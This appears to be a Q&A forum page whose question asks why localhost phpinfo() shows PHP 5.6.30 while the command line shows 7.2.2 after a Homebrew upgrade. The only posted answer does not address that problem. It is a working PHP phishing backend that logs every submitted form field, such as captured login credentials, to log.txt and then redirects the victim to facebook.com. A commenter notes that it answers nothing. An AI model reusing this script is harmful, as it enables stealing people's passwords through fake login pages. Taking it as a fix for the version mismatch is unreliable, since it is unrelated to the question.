1

I recently upgraded PHP through Homebrew. When using terminal command PHP -i I'm getting PHP Version => 7.2.2 as expected. However, when running phpinfo(); on localhost I get PHP Version 5.6.30 instead.

I have already restarted Apache ($ sudo apachectl -k restart), unlinked php56 ($ brew unlink php56) and tried ports :80 and :8080.

What am I missing?

1
 <?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
  • 2
    Ok.... how does this answer the OP's question? – Allan Jun 1 '18 at 23:39

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .